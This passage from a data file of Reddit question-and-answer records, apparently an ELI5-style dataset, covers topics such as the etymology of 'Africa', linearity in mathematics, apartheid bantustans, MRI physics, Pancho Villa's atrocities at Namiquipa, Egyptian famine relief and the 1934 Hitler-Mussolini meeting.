\"land of the blacks\" in Arabic?  As opposed to alkebulan?", "_URL_1_\n\nKabylie or Kabylia (Berber: Tamurt n Leqbayel), is a region in the north of Algeria. The Arabic is \"al-Qaba'il\", which means \"the tribes\", which points to NOT being one of the earliest names for Africa.\n\n_URL_0_\n\nAfri was a Latin name used to refer to the Carthaginians, who dwelt in North Africa in modern-day Tunisia. This name seems to have originally referred to a native Libyan tribe; however, see Terence#Biography for discussion. The name is usually connected with Phoenician afar, \"dust\", but a 1981 hypothesis[7] has asserted that it stems from the Berber ifri (plural ifran) \"cave\", in reference to cave dwellers.[8] The same word[8] may be found in the name of the Banu Ifran from Algeria and Tripolitania, a Berber tribe originally from Yafran (also known as Ifrane) in northwestern Libya.[9]\n\nUnder Roman rule, Carthage became the capital of Africa Province, which also included the coastal part of modern Libya.[10] The Latin suffix \"-ica\" can sometimes be used to denote a land (e.g., in Celtica from Celtae, as used by Julius Caesar). The later Muslim kingdom of Ifriqiya, modern-day Tunisia, also preserved a form of the name.\n\nAccording to the ancient Romans, Africa lay to the west of Egypt, while \"Asia\" was used to refer to Anatolia and lands to the east. A definite line was drawn between the two continents by the geographer Ptolemy (85\u2013165 AD), indicating Alexandria along the Prime Meridian and making the isthmus of Suez and the Red Sea the boundary between Asia and Africa. As Europeans came to understand the real extent of the continent, the idea of Africa expanded with their knowledge.\n\nOther etymological hypotheses have been postulated for the ancient name \"Africa\":\n\n    The 1st-century Jewish historian Flavius Josephus (Ant. 1.15) asserted that it was named for Epher, grandson of Abraham according to Gen. 25:4, whose descendants, he claimed, had invaded Libya.\n    Isidore of Seville in Etymologiae XIV.5.2. suggests the Latin aprica \"sunny\".\n    Leo Africanus (1488\u20131554) proposed the Greek aphrike (\u0391\u03c6\u03c1\u03b9\u03ba\u03ae), \"without cold\". Africanus suggested that the Greek phrike (\u03c6\u03c1\u03af\u03ba\u03b7, \"cold and horror\"), combined with the privative prefix \"a-\", indicated a land free of cold and horror.[11]\n    Another theory is that the word aphrik\u00e8 comes from aphr\u00f2s, 'foam' and Aphrik\u00e8, 'land of foam', meaning the land of the big waves (like Attica, from the word akt\u00e8, Aktik\u00e8 meaning land of the coasts).[citation needed]\n    Massey, in 1881, states that Africa is derived from the Egyptian af-rui-ka, \"to turn toward the opening of the Ka.\" The Ka is the energetic double of every person and \"opening of the Ka\" refers to a womb or birthplace. Africa would be, for the Egyptians, \"the birthplace.\"[12]\n    Yet another hypothesis was proposed by Mich\u00e8le Fruyt in Revue de Philologie 50, 1976: 221\u2013238, linking the Latin word with africus \"south wind\", which would be of Umbrian origin and mean originally \"rainy wind\".\n\nScipio Africanus is so named because of his conquest of Carthage/\"Africa\". It is victory title, akin to \"Scipio of African fame\"\n\n_URL_2_\n\nAfri (singular Afer) was a Latin name for the Carthaginians.[citation needed] It was received by the Romans from the Carthaginians, as a native term for their country.[citation needed] Latin-speakers at first used afer as an adjective, meaning \"of Carthage\", \"of Africa\". As a substantive, it denoted a native of Africa, i. e., a Carthaginian.\n\nThe ultimate etymology of the Punic term for the country remains uncertain. It may derive from a Punic term for an indigenous population of the area surrounding Carthage.[citation needed] (See Terence for discussion.) The name may be connected with Phoenician `afar, dust[1] (also found in other Semitic languages), or with Berber ifri, cave (see Tataouine). The classical historian Flavius Josephus asserted that descendants of Abraham's grandson Epher invaded the region and gave it their own name.\n\nDuring the period of the Roman Empire, Afer came to be a cognomen for people from the Africa Province.\n\nThis ethnonym provided the source of the term Africa. The Romans referred to the region as Africa terra (land of the Afri), based on the stem Afr- with the adjective suffix -ic- (giving Africus, Africa, Africum in the nominative singular of the three Latin genders). Following the defeat of Carthage in the Third Punic War, Rome set up the province of Africa.\n\nThe Germanic tribe of the Vandals conquered the Roman Diocese of Africa in the 5th century; the empire re-conquered it as the Praetorian prefecture of Africa in AD 534. The Latin name Africa came into Arabic after the Islamic conquest as Ifriqiya.[2]\n\nThe name survives today as Ifira and Ifri-n-Dellal in Greater Kabylie (Algeria). A Berber tribe was called Banu Ifran in the Middle Ages, and Ifurace was the name of a Tripolitan people in the 6th century.\n\nTroglodytism was frequent in northern Africa and still occurs today in southern Tunisia. Herodotus wrote that the Garamantes, a North African people, used to live in caves. The Greeks also called an African people who lived in caves Troglodytae."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.consciousplat.com/alkebulan"], [], ["http://en.wikipedia.org/wiki/Africa#Etymology", "http://en.wikipedia.org/wiki/Kabylie", "http://en.wikipedia.org/wiki/Afri"]]}
{"q_id": "1fr2ra", "title": "the term \"linear\" in mathmatics", "selftext": "Such as a linear ODE and second order linear ODE, linear algebra, ect.\n\nFor some reason, I have never grasped the concept of \"linear.\"\n\nI know it means \"relating to the characteristic or a straight line\". And I know linear independence means that changing the characteristics of one variable will not affect the other(s). But why is x^2 considered linear? Is a linear second order ODE simply stating that A, B, C, f all rely only on x? A(x)y'' + B(x)y' + C(x)y = f(x)\n\nMaybe a simple example of something non-linear would help my idiot brain understand this concept better.\n\n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1fr2ra/eli5_the_term_linear_in_mathmatics/", "answers": {"a_id": ["cacyji0", "cad1xy9", "cadz9rt"], "score": [2, 3, 2], "text": ["x^2 is not linear, because it has a power of two in it. When something is linear in some variable x, that means x only appears in the expression to the first power. So Ax'' + Bx' + Cx + D is linear because none of the xs are raised to a power.\n\nAx'' + B(x')^2 + Cx + D is nonlinear because x' appears to the second power.\n\nIt also means no trig functions, since the polynomial expansions of trig functions include higher-order terms. Also no exponentials or logarithms. \n\nSo Ay'' + sin(y') + By + C is nonlinear in y.\n\n\nAnd sin(x)y'' + ln(x)y' + ye^x + 5 is highly nonlinear in x, but it is linear in y, since all of the ys appear to the first power.\n\nIf you want to get deeper into linear algebra, calling something linear has even more significance. For example, if f(x) and g(x) are both solutions to a linear differential equation, af(x) + bg(x) is also a solution to that differential equation (where a and b are just any scalar).", " > I know it means \"relating to the characteristic or a straight line\".\n\nForget this. Never think it again. Lines aren't even always linear\u2014the function f(x)=4x+2 is not a linear function.\n\nWe say that a *function* *f* is linear if it satisfies the following two properties:\n\nf(x+y)=f(x)+f(y)   \nf(ax)=af(x)   \n\nNow we can flip this around a little bit and think about it a slightly different way. What this implies is that the set of all values of the function, that is, the range of the function, is a subspace (recall that a subspace is a place where we can add and multiply by scalars without ever leaving the place). So if you have any f(x) and f(y) then you can add f(x)+f(y) to get some other value in the range of the function. This certainly is *not* true of all functions: sin(\u03c0/2) + sin(3\u03c0/2) = 2, and 2 is *not* in the range of sin.\n\nNow let's talk differential equations. A differential equation is linear if you can write it as \n\ny' + p(x)y = g(x)\n\nWhat's important here is the left hand side. The function y appears only as a power of 1, as does its derivative. Why is this linear?\n\nIt is linear because the solution to \n\ny' + p(x)y - g(x) = 0\n\n*forms a subspace*. That is, once you have two solutions, you can add them together to get a third, or multiply one of them by a constant to get a fourth\u2014just like with the linear function above. \"Linearity\" is much more closely related to linear subspaces than it is to straight lines\u2014a straight line through the origin just happens to be one example of a linear subspace but all of your intuition about straight lines need not apply to the general concept of linearity. ", "Abort, abort, too much maths."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "fm8mf4", "title": "Did the Apartheid regime in South Africa consider Lesotho and Swaziland models for what it wanted the \"bantustans\" to be?", "selftext": "Lesotho and Eswatini (then called Swaziland) are two very small countries surrounded almost entirely by South Africa, each ruled by an indigenous African kingdom. Did South Africa envision any of their bantustans to become countries like Lesotho and Swaziland? I know South Africa claimed some of the bantustans were independent countries, although no other country in the world recognized them as sovereign states.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/fm8mf4/did_the_apartheid_regime_in_south_africa_consider/", "answers": {"a_id": ["fl764am"], "score": [3], "text": ["I'm moving, so I just packed away most of my books, but Ill try to answer your question as best as I can! \n\nTo answer your question in brief, yes and no. In this case of Lesotho, the state's geographic position meant that it was surrounded by South Africa, and thus very vulnerable to South African strong arming. Moreover, Lesotho's sovereignty was repeatedly violated throughout the Apartheid regime's tenure in power, as SADF soldiers and policemen would regularly cross the border to assassinate suspected members of the ANC; operations which generally devolved into vicious slaughter of innocents. As a result, Lesotho was seen as a model for what a Bantustans' foreign policy would be: pliant. Yet, the South African government, owing to its avowed white supremacist views, never wanted Basotho immigration into SA, even as cheap labour, as they felt that they had more than enough within South Africa. This is because the ultimate goal of the Bantustans was to keep the black populations of South Africa politically fragmented and underdeveloped, and also out of the major cities. The National Party wanted to make the major cities and significant towns white only bastions, with the black labourers commuting in and out everyday. Additionally, the Bantustans were supposed to give the South African regime some good PR, as if the black population no longer lived in SA, there would be no need for any Apartheid policies, as well as skew the demography of South Africa enough that the Afrikaners and White South Africans were no longer such a tiny minority.\n\nIn contrast, Eswatini would not have been in any way a model for the South African Bantustans. Although South Africa could pressure Eswatini, and also repeatedly violated its sovereignty in cross border raids, its border with Mozambique afforded it a degree of freedom and flexibility that Lesotho simply lacked, meaning it was not so completely under the thumb of the South African government. Furthermore, the same answer above applies for Eswatini: the goal of the bantustans was to keep black africans out of \"white\" South Africa.\n\nHope this answers your question!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "zdfc6", "title": "MRI Physics: Why is there a need of using multiple phase-encoding sequences for signal acquisition in MRI?", "selftext": "I am going to be starting my PhD and I have been reading up on different modalities before I start school. Right now I am on MRI and I am curious as to why we need multiple phase encoding sequences for image reconstruction? If there is a gradient that is acting along the y-axis, don't the phase angles differ per row anyway? \n\nSo for example, if you have three rows in your image, going from -y to +y, wouldn't the phase be +120 for the top row, 0 for the middle and, -120 for the bottom? Can these minute differences not be discerned from one k-space data set only? Why is there a need for different gradients to read these images?\n\nAny insight would be much appreciated. Thank you.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/zdfc6/mri_physics_why_is_there_a_need_of_using_multiple/", "answers": {"a_id": ["c63n9fu"], "score": [5], "text": ["There's a whoooooole bunch of different ways to think about it, and I'm just going to give one, which may or may not make sense to you. Each point in k-space corresponds to a particular Fourier encoding function - a spatially varying sinusoid with a particular frequency and rotation angle (if you were to plot this it would appear as a series of light and dark bands of some paritcular width - corresponding to frequency - and rotated at some angle; a \"stripe pattern\"). If you set the phase encode gradient to some level and play out the frequency encode graident, you're only sweeping across one line of k-space. The phase variation that exists across your matrix - as you correctly mention - only correpsonds to the encoding function at a single value of the rotation angle (i.e., a single stripe pattern). You need to project you object against all the encoding functions (all the stripe patterns), so you need to sweep both the phase and frequency gradients."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "i7oue", "title": "My friend found these things in his yard.  Can anyone identify what it is?", "selftext": "_URL_0_ \nA friend of mine has these things growing out of his lawn. He says that they're foamy. His fiancee went to go pull one out of the grown and got shot with some slime. I'm guessing this is some sort of fungus, but it's a little wtf for Connecticut. Any ideas Reddit?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/i7oue/my_friend_found_these_things_in_his_yard_can/", "answers": {"a_id": ["c21kehr", "c21kkba"], "score": [5, 3], "text": ["Looks like [this](_URL_0_). I don't know anything about mushrooms though, just seems appropriate based on the picture/description.", "Looks like [stinkhorn](_URL_0_)"]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/ax5y7.jpg"], "answers_urls": [["http://www.mushroomexpert.com/clathrus_columnatus.html"], ["http://urbpan.livejournal.com/306403.html"]]}
{"q_id": "9totc3", "title": "When did door locks on homes become common? How long have humans been carrying keys as part of daily life?", "selftext": "And, just for fun, is anyone familiar with the history of decorative keychains?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9totc3/when_did_door_locks_on_homes_become_common_how/", "answers": {"a_id": ["e8zazh3"], "score": [40], "text": ["Not to discourage further replies, but a while back I wrote an answer to this question in reference particularly to the ancient Romans, who already commonly used locks and keys: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/7aloob/did_people_in_antiquity_have_keys_for_their_homes/dpbxc9z/"]]}
{"q_id": "bl3iy8", "title": "where does silverfishes come from?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bl3iy8/eli5_where_does_silverfishes_come_from/", "answers": {"a_id": ["emlctf0"], "score": [7], "text": ["They live in the sewerage, crawl out through the drains in your shower or sink and get lost your your bathroom roaming around."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3nalld", "title": "where does hollywood get so many old cars in mint condition to film movies set in the past?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3nalld/eli5where_does_hollywood_get_so_many_old_cars_in/", "answers": {"a_id": ["cvmbvq0", "cvmbyr5", "cvmd59w"], "score": [26, 6, 5], "text": ["There are a number of collectors that make a fairly good living renting out their collection to movies.\n\nWhen a certain era is needed, they contact whomever it is that they know has a collection that could be useful, and the cars are hired in a manner similar to any other prop or actor in the movie.", "They're not always in mint condition. Either they pay to rent a collector's car, or they buy an old, beat up car and restore it. Or they can just build the car from another, using body panels to make it look like whatever car they want.\n\nFor example, rather than get a bunch of actual supercars, the crew of *Need for Speed* just built [fake supercars](_URL_0_).", "Places like:\n\n_URL_1_\n\n_URL_0_\n\n_URL_2_\n\nThese companies own or have access to literally thousands of every conceivable type of vehicle from every era. Need a 1985 Toyota? No problem."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://news.boldride.com/2014/01/need-for-speed-movie-cars-mclarens-bugattis-and-more/42795/"], ["www.classicautorental.com", "www.cinemavehicles.com", "www.studiopicturevehicles.com"]]}
{"q_id": "8optrj", "title": "what's the difference between a camera sensor taking a picture or recording a movie?", "selftext": "For example how are the camera megapixels not related to the recording quality of a movie? \nIf a camera can record at 120fps, why can\u00b4t we take 120 pictures per second?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8optrj/eli5_whats_the_difference_between_a_camera_sensor/", "answers": {"a_id": ["e058wi0"], "score": [6], "text": [" > how are the camera megapixels not related to the recording quality of a movie? \n\nThey are related. Most cameras use sensors with more pixels than the video format, but that is not always the case. Expensive broadcast video cameras often have just 2 megapixels. \n\n > If a camera can record at 120fps, why can\u00b4t we take 120 pictures per second?\n\nYou are taking 120 pictures per second when you record video at 120 fps. They just happen to be in a single file. They can easily be extracted. \n\nI think what you're really asking is what are the differences between a still formats and video formats. Video formats are usually 16x9 and around 2 megapixel for HD or 8 megapixel for 4K, while still pictures can be almost any size or aspect ratio (even though most still cameras use a limited set of sizes).  One reason that you can't take 20 megapixel stills at 120 fps is a hardware limitation. It can't process and store the pictures fast enough. Another reason is that still photos need more time to prepare before exposing the image because auto-focus and exposure adjustment is more precise in still mode than in video mode. A third reason is that it would fill memory very quickly. It isn't a feature people have been clamoring for. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "a9it4t", "title": "Did Pancho Villa use rape as a war tactic?", "selftext": "I have been listening recently to Revolutions (A podcast currently covering the Mexican revolution), and his portrayal of Pancho Villa as a sympathetic, intelligent, general who was a die hard man of the people. He mentions a bit of civilian violence, but only in a brutal justice sort of way, even going so far as to not let his men sack the cities they captured.\n\nThis tended to follow my minuscule knowledge beforehand sorting him into a sorta robin hood bandit.\n\nhowever, I was reading his wikipedia article, and it mentioned Villa used widespread rape and sexual violence. They suggested his womanizing persona was incorrect and his plethora of wives were not necessarily  willing. \n\nincluded as well is an event called the gang rape of Namiquipa. Where Villa herded women into animal pins and had his men gangrape them to death. \n\nThis took me aback, as that seemed to heavily conflict with the popular view of Villa. I haven't been able to find any good sources for this gangrape, or any other good accounts covering this aspect of Villa.\n\nIs this account accurate? Did Villa let his men rape widely or is this propaganda from the era? And if he did was this just base cruelty towards women or did use this as a military tactic? Either to reward his men or punish the enemy? \n\nThank you in advance!\n\n\n\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/a9it4t/did_pancho_villa_use_rape_as_a_war_tactic/", "answers": {"a_id": ["ecloi2y"], "score": [46], "text": ["The Rape of Namiquipa, which is a small town in Chihuahua, Pancho Villa's stronghold in the north of Mexico, took place in 1917, and was an important landmark in the history of Villa's rebellion. There is no question that atrocities did take place in the town, but to understand why they happened, and what the consequences were, we need to look at events in the fuller context of the revolutionary period as a whole.\n\nLet's begin with a look at what actually happened in the town, and then place those events in the history of the  years 1915-1917 as a whole. The atrocity that you're referring to occurred on 5 February 1917, when *villista* forces briefly occupied Namiquipa. The occupation came shortly after the withdrawal of US forces from the district, and ended a period of almost a year during which the town had been occupied by forces hostile to Villa and his revolution. Moreover \u2013 and without in any way wishing to understate the horror of what happened in the town \u2013 it's necessary to point out that two of the key details that you mention (that Villa had his men herd the town's women into \"animal pens\" and that they were instructed to \"gangrape them to death\") are not supported by either of the two authorities that the author of the Wiki article you cite referenced in support of this passage; in fact, none of the secondary sources that I have been able to access give us any idea as to how many, if any, of Villa's female victims died as a result of his actions. Katz, in his biography of Villa, and Quintana, in his version of the rebel leader's life, both deal \u2013 fairly briefly \u2013 with the events at Namiquipa, but neither says anything about how the women were confined, and neither suggests that Villa's intention was to kill them. Katz reports that Villa's immediate intention was to punish the people of the town for organising a 150-strong anti-Villista \"civil guard\", the *defensa social,* in the town. He states that the men of the guard fled into the surrounding mountains on Villa's approach, and that, in revenge, the rebel leader \"forcibly assembled all their wives and allowed his soldiers to rape them.\" Quintana, similarly, reports that Villa was \"frustrated\" by the escape of the militiamen, and so \"ordered all the women captured and then ordered his men to rape them after setting the town ablaze.\" Hurst adds that some of the women in the town were \"spared this hideous treatment\" by the decision of one of Villa's horrified officers to extend them his protection.\n\nTo deal with the other aspect of your query, and as is well known, Villa's campaigns in Chihuahua were part of a broader civil war in Mexico. The Mexican Revolution lasted for a decade (1910-20), and saw the country torn apart by a number of competing factions. Because they do set families, friends and colleagues against each other, revolutions and civil wars do very frequently tend to be hard- and to involve atrocities; this conflict was both, and it was certainly no exception in this regard. Atrocities were ordered and committed on all sides, [and indeed by US forces as well](_URL_1_).\n\nVilla was certainly not innocent in this regard, and historians of the period generally concur that his behaviour became significantly more violent as his position deteriorated in the latter half of the Revolutionary period. In addition to the Rape of Namiquipa, the generalissimo also ordered the massacre of 69 of the people of San Pedro de la Cueva in 1915, and then the killing of 90 female *carrancistas* \u2013 women who had taken up arms in support of the northern constitutional government of Venustiano Carranza \u2013\u00a0in the village of Camargo in 1917.\n\nNumerous other examples of Revolutionary-era atrocities might be cited, far from all of which were Villa's responsibility, and the general pattern was one of tit-for-tat escalation, fed by allegations and news coverage circulated the successful [early propaganda machines established on all sides](_URL_0_), so that by 1917, Quintana says, even \"executions of prisoners, including injured soldiers in their hospital beds, were fairly common.\" For example, Katz describes the \"particularly grisly\" decision that Villa took to conserve ammunition while executing 600 captured soldiers after his victory in the Battle of Rosario Station in March 1917: he had his troops line up the prisoners\n\n > in rows of five, and in order to save bullets, they were killed with one shot to the head. Even Villa's adjutant remarked that 'this parade of these groups of five was something horrible to see.'\n\nNonetheless, in order to understand the violence unleashed on Namiquipa, it's important to note two things: first, Villa's relationship with the people of the town itself, and, second, that his attack on its women took place at a particular low point in the history of his rebellion.\n\nWith regard to the first of these factors, it is vital to recognise that Namiquipa was no ordinary settlement; in fact, it lay at the heart of Villa's territories, and in the words of Colonel Frank Tompkins of the US Army, was \"the most revolutionary town in all of Mexico.\" In consequence, Namiquipa had been an important contributor of men and support for Villa throughout the early period of the Revolution, but this situation changed markedly after January 1916, when Villa launched his cross-border raid on Columbus, NM \u2013 a disastrous decision that not only reversed prevailing US public opinion (which had hitherto seen him as a reformer worth backing, and allowed a substantial cross-border flow of munitions vital to the Villista armies that was now cut off) but also alarmed many of the inhabitants of northern Mexico, who rightly anticipated that the US would retaliate for the raid.\n\nOne immediate consequence was that approximately half of Villa's forces in Chihuahua deserted early in 1916, including some substantial contingents of *namiquipenses.* Villa's response was harsh: as Ana Maria Alonso points out, he ordered that\n\n > all *villistas* with previous service in the municipality of Namiquipa were ordered to join up \\[with Villa's forces\\] or face being shot, along with their families, if they refused.\n\nAlthough this order does clearly demonstrate Villa's willingness to inflict significant violence on the townspeople of Namiquipa well over six months before the Rape itself took place, his instructions had limited effect, in the short run at least; by the middle of 1916, the town had become one of the main centres controlled by the American forces under Pershing that had been sent to avenge the raid on Columbus, and the presence and encouragement of the Americans (which was, in addition, quite profitable for the local merchants) helps to explain the willingness of the townspeople to organise a *defensa social* in Namiquipa. This new force was explicitly created to oppose to Villa and his supporters; its regulations included a warning that \"those who provide hospitality in their homes to people \\[that is, *villistas*\\] will be considered concealers and accessories, and will be severely punished\", and members of the guard were responsible for arresting nine of Villa's local supporters and handing them over to the Americans, who took them back over the border as prisoners when Pershing withdrew in February 1917.\n\nAll of this was bad enough, from Villa's point of view, but his cause was struck an even more severe blow just before the Rape of Namiquipa, which occurred when one of his chief lieutenants in the region, a man named Rafael Mendoza, was captured by the *carrancistas* and, to save his life, agreed to betray the location of the carefully hidden ammunition and supply dumps that Villa had concealed in the surrounding mountains. The loss of these supplies fatally compromised Villa's plans for renewed offensives in 1917 and in fact threatened to reduce his forces from the status of an army to that of being little more than bandits. He was severely weakened by the betrayal, and there seems little doubt that by that February, Villa was in no mood to be merciful with anyone, man or woman, whom he considered a traitor to his cause.\n\nAll in all, we can conclude by observing that Villa's willingness to issue orders of the sort he gave at Namiquipo was not new, and was a product of an abrupt and calamitous deterioration of his position; Naylor, who takes a usefully broad view of this period, points out that Villa had already fallen a long way by this point in the revolutionary period. Only a couple of years earlier, in 1915, he had been able to claim to be a \"national leader\" in control of two-thirds of Mexico, including the capital city. By February 1917, in contrast, he had been driven back into Chihuahua, suffered several significant military defeats, lost much of his ability to inspire or overawe the local peasantry and indeed made enemies of many of them, and finally been forced to temporarily disband his army as he came under attack from both federal and US forces."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://mikedashhistory.com/2010/11/30/truth-beauty-and-pancho-villa/", "https://www.texasstandard.org/stories/texas-exhibit-refuses-to-forget-one-of-the-worst-periods-of-state-sanctioned-violence/"]]}
{"q_id": "5tn31c", "title": "Did the Ancient Egyptians take in refugees in times of famine?", "selftext": "In the Bible, the Patriarchs Abraham and Jacob repeatedly (3 times) go to Egypt to buy food and sojourn there when there is famine in Canaan. Is there any evidence that such a thing happened? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5tn31c/did_the_ancient_egyptians_take_in_refugees_in/", "answers": {"a_id": ["de41a3j"], "score": [2], "text": ["It's a definite possibility. \nHowever, would this be done in a completely philanthropic manner? Likely not.\n\nAs an example, the Nomarch Ankhtify of the First Intermediate Period (2160-2055 BC) has inscribed his efforts to combat famine in his tomb not too far from the city of Thebes. \n\nThere he writes:\n\"Horus brought me to the nome of Edfu for life, prosperity, health, to reestablish it, and I did (it). For Horus wished it to be reestablished, because he brought me to it to reestablish it. I found the House of Khuu (Edfu) inundated like a marsh, abandoned by him who belonged to it, in the grip of a rebel, under the control of a wretch. I made a man embrace the slayer of his father, the slayer of his brother, so as to reestablish the nome of Edfu.....I was the beginning and the end of mankind, since nobody like myself existed before nor will he exist; nobody like me was ever born nor will he be born. I surpassed the feats of the ancestors, and coming generations will not be able to equal me in any of my feats within this million of years. \nI gave bread to the hungry and clothing to the naked; I anointed those who had no cosmetic oil; I gave sandals to the barefooted; I gave a wife to him who had no wife. I took care of the towns of Hefat and Hor-mer in every [situation of crisis when] the sky was clouded and the earth [...] of hunger on this sandbank of Apophis. The south came with its people and the north with its children; they brought the finest oil in exchange for the barley which was given them. My barley went upstream until it reached lower Nubia and downstream until it reached the Abydene nome. All of Upper Egypt was dying of hunger and people were eating their children, but I did not allow anyone to die of hunger in this nome.\" \n\nYou can see the act of \"kindness\" was more intended to bolster his own reputation in his quest for power. \n\nHe had taken over a fellow Nomarch's land and wanted to strengthen his grip over the people. The best way to do that was to give the people the food they needed during this famine. \n\nKeeping a private grain stock allowed men like Ankhtify to consolidate their power. \nHow does this effect the refugee question? Well Egypt was quite decentralized in this period and Edfu was under a seperate rulership from Ankhtify's. In order to grow stronger, he conquered Edfu and (according to his inscriptions) fed the populace.\nIn this time, almost nothing would stop a family from sneaking into a Nomarch's land and buying a share of the grain.\n\nIf perhaps foreign aid seems to far of a jump to make from this, note that in the New Kingdom, King Merneptah sent a shipment of grain to the King of Ugarit to \"relieve the famine in Ugarit.\"\nThis was a much more globalized time, but in the time period of Ankhtify, border control wouldn't have  been as strong as the later Middle/New Kingdom Fortresses allowed it to be. \n\nThe last, and possibly most famous example would be the legendary Sea Peoples. They likely were escaping famine in the Aegean when they decided to settle in Egypt and Egyptian held lands. \nWhile the fierce resistance to their landings in Egypt is well recorded, there are spots that the archaeological record does support a peaceful settlement on former Egyptian imperial lands. \n\nSo, it can't be said conclusively what their policy on refugees was, but from the few accounts we have we can see that people did indeed move into Egypt at various times of its history. Not only that, but the Egyptians with their usual abundance of food could use their grain as a tool to consolidate power. In other words, they seem to have been willing to share. \n\n(Some good sources include: Ancient Egyptian Literature Vol 1 by Miriam Lichtheim, and 1177 BC by Eric Cline. \nAnd I ALWAYS recommend picking up Anatomy of a Civilization by Barry Kemp. You'll see that book in practically every Egyptologist's bibliography.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bq4tjb", "title": "how has the planet recovered from its hottest periods in the past?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bq4tjb/eli5_how_has_the_planet_recovered_from_its/", "answers": {"a_id": ["eo17p5i", "eo18mkt", "eo1mt07", "eo1nfxv"], "score": [7, 3, 4, 7], "text": [" >  immediately declined\n\nOn a geological scale, sure. It was millions of years. You have that long to wait?", "We're nowhere near the hottest periods in earths history. In the past these things change over thousands, tens of thousand years. We're changing things much faster than that.", "Food for thought - this big rock of ours will outlast us. The question is how much damage we'll be doing to the life on it  &  how that's going to screw us humans.\n\nI don't really know the geological processes that well so I can't explain the mechanisms and cycles, but one explanation is [the Azolla event](_URL_0_). Theoretically, over about a million years  &  50 million years ago, the high-temperature, carbon-rich conditions allowed widespread Azolla blooms that were so adept, they caused a massive (80%) drop in CO2 over this period, as they died and sunk their carbon into the bottom of the ocean. \n\nBefore anyone asks \"why don't we just plant azolla then?\" let me say again, it took a million years for this, which is a bit too slow to really help us.", "The Earth has a number of positive climate feedbacks ([ice albedo](_URL_3_), [water vapor](_URL_2_) that act relatively quickly, amplifying the effects of any climate change driving force.  However, some important negative feedbacks hold them in check.\n\nOn very short timescales, the simple [blackbody radiation feedback](_URL_0_) dominates the climate system and ensures that the climate can't \"run away\".  Positive feedbacks can weaken this negative feedback, making climate more sensitive to small changes, but they don't overwhelm it completely -- at least not for the modern Earth.\n\nMost relevant to your question, the [chemical weathering](_URL_1_) feedback is believed to regulate CO2 on very long timescales.  In this feedback, when climate is warm, CO2 reacts with water and silicate rock to form carbonate rock, pulling the CO2 out of the atmosphere.  This keeps temperatures from getting too warm or cold, but it operates on the slow slow timescale of geology and plate tectonics.  It may eventually work to remove our fossil fuel CO2 from the atmosphere and bring climate back to normal ... a million years from now, far too late to do us any good."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Azolla_event"], ["https://en.wikipedia.org/wiki/Climate_change_feedback#Blackbody_radiation", "https://en.wikipedia.org/wiki/Climate_change_feedback#Chemical_weathering", "https://en.wikipedia.org/wiki/Climate_change_feedback#Water_vapor_feedback", "https://en.wikipedia.org/wiki/Ice%E2%80%93albedo_feedback"]]}
{"q_id": "25ss36", "title": "I've heard that when Mussolini and Hitler first met in Venice they didn't get on at all. Are there any records of how the meeting went or what was said?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/25ss36/ive_heard_that_when_mussolini_and_hitler_first/", "answers": {"a_id": ["chkg1yl"], "score": [94], "text": ["Yes, the meeting at Venice happened in 1934, and was the culmination of a series of events that soured German-Italian relations. Germany had been fighting with Italy for influence in Austria, and this had led to Italy threatening war if Germany moved against Austria. Mussolini had never held Hitler in high regard, seeing him as an upstart dictator trying to copy what Mussolini had done. Mussolini even went as far as calling Hitler's book Mein Kamp \"a boring tome that I have never been able to read\" he called Hitler's beliefs \"stupid and cliched\". This is ironic considering the relationship the two men would have later in the war. Hitler for his part respect Mussolini as \"the father\" of modern fascism. \n\nAnyways, in order to repair relations, bring Italy into a closer relationship with Germany, and to help establish a \"united front\" against the western allies, Hitler visited Venice in June of 1934. Hitler had requested that it be private but Mussolini, who was always one for pomp and spectacle, invited the press and made the visit as public as possible. Hitler arrived casually dressed in a trench coat and was shocked to see all the reporters and Mussolini in full regalia. \n\nNow the meeting got even worse from there. Hitler ranted to Mussolini who had trouble staying awake. It also didn't help that Hitler spoke in a thick Austrian accent, and Mussolini (who didn't have a translator), had trouble understand what Hitler was saying. They discussed affairs in Austria, Hitler's plans in the East, and they talked about setting up racial laws in their respective states. Mussolini was especially cold to this as he didn't believe in the Nazi concept of a \"master race\". \n\nThe meeting didn't change either leader's opinion of the other. Hitler told his close associates that everything went well, where as Mussolini said that it wasn't a meeting so much as a \"collision\", he also called Hitler a \"gramophone with just seven tunes and once he had finished playing them he started all over again\". He referred to Hitler as a \"buffoon\". \n\nTheir relationship would hit a low point a few weeks after the meeting when Mussolini's friend, the Austrian Chancellor Dollfuss, was murdered by Nazis. Mussolini flew into a rage and called Hitler a \"sexual degenerate\". The relationship would improve in 1937 when Mussolini, impressed by German military power, began to 